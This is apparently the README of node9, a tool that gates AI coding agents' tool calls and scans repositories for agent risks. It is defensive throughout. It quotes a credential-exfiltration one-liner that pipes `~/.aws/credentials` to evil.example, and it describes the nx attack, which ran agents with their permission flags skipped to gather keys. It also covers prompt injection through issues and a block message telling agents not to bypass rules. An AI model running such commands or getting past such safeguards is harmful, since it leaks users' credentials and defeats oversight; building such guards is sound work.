๐ก๏ธ node9
Access control for AI agents
Your AI agents can reach Slack, GitHub, email, and your database.
node9 decides what they may do with each one.
**Credential jail** ยท **secrets and PII** ยท **destructive git, SQL and shell held for review** ยท
**MCP tool pinning** ยท **network egress allowlist** ยท **loop breaker** ยท **one record across twelve agents**
Works with **Claude Code ยท Codex CLI ยท Antigravity (agy) ยท GitHub Copilot CLI ยท Gemini CLI ยท Cursor ยท Windsurf ยท VSCode ยท Claude Desktop ยท Opencode ยท Pi ยท Hermes Agent ยท any MCP server**.
## Three ways in
| | | |
| --------- | ------------------------------------------------------------------------------------------ | --------------------------------------------------- |
| **See** | Scan a repository on every pull request, or check this machine. Nothing to install. | [Scan every pull request](#scan-every-pull-request) |
| **Guard** | Put node9 in front of every tool call your agents make: allowed, blocked, or held for you. | [Guard your agents](#guard-your-agents) |
| **Prove** | One OWASP Agentic Top 10 report across every agent and every machine your team runs. | [Prove it to your team](#prove-it-to-your-team) |
## Scan every pull request
This repository is also the GitHub Action
**[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**.
It reads the agent configuration committed to a repository (workflows, agent settings, MCP
servers, instruction files) and reports what a pull request could turn against you. Nothing
runs, no agent is installed, and it needs no account and no secret: the job token is enough.
Add one file, `.github/workflows/agent-security.yml`:
```yaml
name: node9 agent-security
on: pull_request
permissions:
contents: read
pull-requests: write
checks: write
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: node9-ai/node9-proxy@v2
with:
fail-on: high # never | medium | high | critical
fail-on-scope: introduced # judge only what this PR added or made worse
```
Every pull request then gets:
- **A check** that passes or fails at the severity you choose.
- **One comment** that leads with the worst finding in plain words and how to fix it, updated in place on every push.
- **Annotations** on the lines that caused them.
### What it looks for
| | |
| ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Workflows a stranger can steer** | a workflow that hands the text of an issue or a pull request to an agent that holds secrets or can run commands, or that runs the agent inside a fork's code |
| **Agent settings** | allow rules that cover credentials or any command, hooks that fetch remote code, local settings committed by mistake |
| **MCP servers and plugins** | a server installed at whatever version is newest, a credential written into the config |
| **Secrets in reach** | secrets an agent in a workflow can read, and the ways it could leak them |
| **Instruction files and skills** | hidden characters, text that tells the agent to drop its instructions, to fetch and obey a page, or to send data out |
The comment, on a repository where anyone can open an issue that an agent reads:
> **๐ก๏ธ node9 agent-security ยท ๐ด High: action needed**
>
> **Anyone can make this repository's AI agent act with its permissions**
>
> A stranger opens an issue with instructions for the agent. The agent follows them with this
> repository's permissions.
>
> **What we saw** in `.github/workflows/triage.yml:13`:
>
> - Anyone can start the agent (`allowed_non_write_users: "*"`).
> - It reads the text of the pull request or issue.
> - It can run any command (`Bash`).
>
> **โ
How to fix:**
>
> 1. Let only people with write access start it: remove `allowed_non_write_users: "*"`.
> 2. Give the agent only the tools the job needs.
>
> **Also found:**
>
> - ๐ก MCP server `files` installs whatever version is newest, every time (`.mcp.json`)
### Inputs
| Input | Default | |
| ------------------ | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `fail-on` | `never` | The severity that fails the check: `never` comments without gating, `medium`, `high` or `critical`. |
| `fail-on-scope` | `all` | `introduced` judges only what the pull request added or made worse, so a repository that already has findings can turn the gate on today. |
| `comment` | `true` | Post the comment on the pull request. |
| `annotate` | `true` | Annotate the findings on the diff. |
| `node9-version` | `latest` | The `node9-ai` version that scans. Pin it for reproducible runs. |
| `node9-upload-key` | empty | Optional. Sends each push scan to your node9 workspace, which keeps the history per repository. Empty sends nothing. |
| `telemetry` | `true` | An anonymous usage count per run: the scanner version, the operating system, the worst severity, whether the scan finished, and a hash of the repository's numeric id that node9 keeps only inside a count. Never the repository name, a path, a finding or any code. |
Under `pull_request_target` the Action does not scan and says so: there it would read the base
branch, not the pull request. The full reference is in the
[repository scanning docs](https://node9.ai/docs/repo-scanning).
### Check a repository or this machine now
No workflow, no install and no account. `scan-repo` sends the same anonymous usage count as the
Action (no repository name, no code); set `NODE9_NO_TELEMETRY=1` to turn it off.
```bash
npx node9-ai scan-repo owner/repo # the same scan as the Action, on any public repository
npx node9-ai posture # scores this machine 0-100: what a compromised agent could read, reach and run
npx node9-ai scan # every past agent session on this machine
```
The hosted scan at **[node9.ai/scan](https://node9.ai/scan)** does the first one in the browser.
## Guard your agents
node9 sits between an agent and every tool it calls: files, commands, the network and every
app it reaches. Each call is allowed, blocked, or held for you.
Below, a real Claude Code session with node9 installed. Every tool call is checked
before it runs. Building a page and editing a button run. A request to the cloud
metadata address is blocked, and the agent gets the reason and carries on.
Deleting files waits for your approval, right in the chat.
### Install
```bash
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
```
Then, in any project:
```bash
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
```
Requires Node.js 22+.
On a new interactive terminal, `node9` guides you through setup. Local protection
needs no account. The checklist shows recommended shields, DLP/PII, optional
network egress review, and the background service. Usage statistics are sent
only if you accept the separate prompt. The summary lists configured agents
and any setup steps that need attention.
Run `node9 setup` to revisit setup, or `node9 setup ` to configure one agent.
Once configured, bare `node9` shows help. `node9 init` remains available; for
scripts use `node9 init --recommended` (no questions and no telemetry opt-in).
`--skip-setup` leaves agent wiring and service installation alone. Explicit
`--mode` takes precedence over the checklist's standard-mode recommendation.
Existing settings are preserved unless selected changes or explicit flags request
an update. Workspace policy is managed in the dashboard; service settings remain local.
**`login` adds nothing to enforcement.** It connects the machine to a workspace so
a team can see one record across everyone's laptops and CI, set policy centrally,
and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
the same, alone, offline. `node9 logout` disconnects again and local enforcement
keeps running.
Every release artifact is signed. To check one yourself:
```bash
gh attestation verify cli.js --repo node9-ai/node9-proxy
```
### Use as an MCP server
node9 also runs as an MCP server, so an agent can read its status, posture, audit
record and policy, and explain any decision, from inside the conversation:
```bash
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
```
Any MCP client works the same way: the command is `npx -y node9-ai mcp-server`
over stdio, with no API key. It is listed in the official MCP Registry as
`io.github.node9-ai/node9`.
## Prove it to your team
Once machines are connected with `node9 login`, the dashboard reads them as one report on the
**OWASP Top 10 for Agentic Applications**, for every agent and every team. For each of the ten
risks it shows which devices and repositories are exposed now, what happened, and what your
policy stopped. Each number opens to the device, the repository or the check behind it.
- **[A sample report](https://node9.ai/owasp-report)**: the report as a team sees it, readable before you install anything
- **[How to read the report](https://node9.ai/docs/owasp-report)**: what each column counts
## The problem
In August 2025, compromised releases of the
[`nx` build tool](https://github.com/advisories/GHSA-cxm3-wv7p-598c) shipped a post-install
script that looked for AI coding agents already installed on the developer's machine, then ran
them with their own safety flags turned off (`--dangerously-skip-permissions`, `--yolo`,
`--trust-all-tools`) to enumerate SSH keys, cloud credentials and wallet files and write the list
to disk. The script pushed the results to public repositories inside the victims' own GitHub
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the
files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays
held even when the agent was started with permissions skipped.
## What node9 does about it
node9 sits between the agent and every tool it calls. The credential jail (`~/.ssh`, `~/.aws`,
`.env` files, private keys) is on by default, and a read of one of those paths does not run.
The agent is stopped, told why, and the decision comes to you:
```text
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
```
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
`echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` is judged as a read
of `~/.aws/credentials`, not as an `echo`.
node9 is a **gate**. A held action does not run while it waits for you, and if you never answer
it stays blocked. Everything else is allowed and written to the record.
**What it does not do:** with egress control off, which is the default, a command that hands a
file straight to the network, such as `curl -d @~/.aws/credentials`, is not treated as a read of
that file. `node9 egress protect` gates destinations as well, and it covers shell commands only.
## What it governs
Each line is one capability, with the page that documents it. The docs are the
reference; this file is the map.
| | | |
| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |
| **Credential jail** | `~/.ssh`, `~/.aws`, `.env` and private keys are blocked from every tool, not just the shell | [docs](https://node9.ai/docs/shields) |
| **Always-on rules** | destructive git, SQL without a `WHERE`, `curl \| bash` and unauthorised `sudo`, with no config | [docs](https://node9.ai/docs/smart-rules) |
| **Secrets and PII** | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | [docs](https://node9.ai/docs/dlp) |
| **Per-service shields** | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem | [docs](https://node9.ai/docs/shields) |
| **Inline review** | a held action asks you inside the agent conversation, or through a team approver | [docs](https://node9.ai/docs/cloud-policy) |
| **Egress allowlist** | gate where a shell command may send data, off by default | [docs](https://node9.ai/docs/egress) |
| **MCP gateway** | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back | [docs](https://node9.ai/docs/mcp-gateway) |
| **Sandbox** | run an agent in a container with a kernel egress allowlist and scoped mounts | [docs](https://node9.ai/docs/sandbox) |
| **Posture score** | how exposed this machine is, with the command that fixes each finding | [docs](https://node9.ai/docs/posture) |
| **Repo scanning** | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI | [docs](https://node9.ai/docs/repo-scanning) |
| **Session history** | read what every agent already did on this machine, before node9 was installed | [docs](https://node9.ai/docs/sessions) |
| **Live monitor and report** | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius | [docs](https://node9.ai/docs/report) |
| **Skills pinning** | SHA-256 verification of installed Claude skills and plugins between sessions | [docs](https://node9.ai/docs/skill-pinning) |
| **Canary credentials** | planted fake keys that prove an exfiltration attempt happened | [docs](https://node9.ai/docs/canary-credentials) |
| **Python SDK** | govern any Python agent, not only the CLIs | [docs](https://node9.ai/docs/python-sdk) |
Full CLI and config reference: **[node9.ai/docs](https://node9.ai/docs)**.
How the layers fit together: **[how it works](https://node9.ai/docs/how-it-works)**.
## Learn
Background reading, written to stand on its own. Each page says what node9 does not cover.
- **[What can a hijacked agent do?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: the blast radius of one compromised session
- **[How an AI agent leaks a secret](https://node9.ai/learn/ai-agent-secret-exfiltration)**: the paths a credential actually takes out
- **[Claude Code security](https://node9.ai/learn/claude-code-security)**: hooks, permission modes, and what they do not stop
- **[MCP security](https://node9.ai/learn/mcp-security)**: the tool surface an MCP server opens
- **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: the list, mapped to real controls
## Compare
- **[node9 against the alternatives](https://node9.ai/compare)**: a matrix, including the rows where node9 scores worse
- **[Per-agent coverage](https://node9.ai/agents)**: what is governed on each of the twelve supported agents
## Related projects
- **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK
## Enterprise
**node9 Pro** adds governance locking, SAML/SSO, central audit export, and VPC deployment. See [node9.ai](https://node9.ai).
## License
Apache-2.0
Built with โ and healthy paranoia.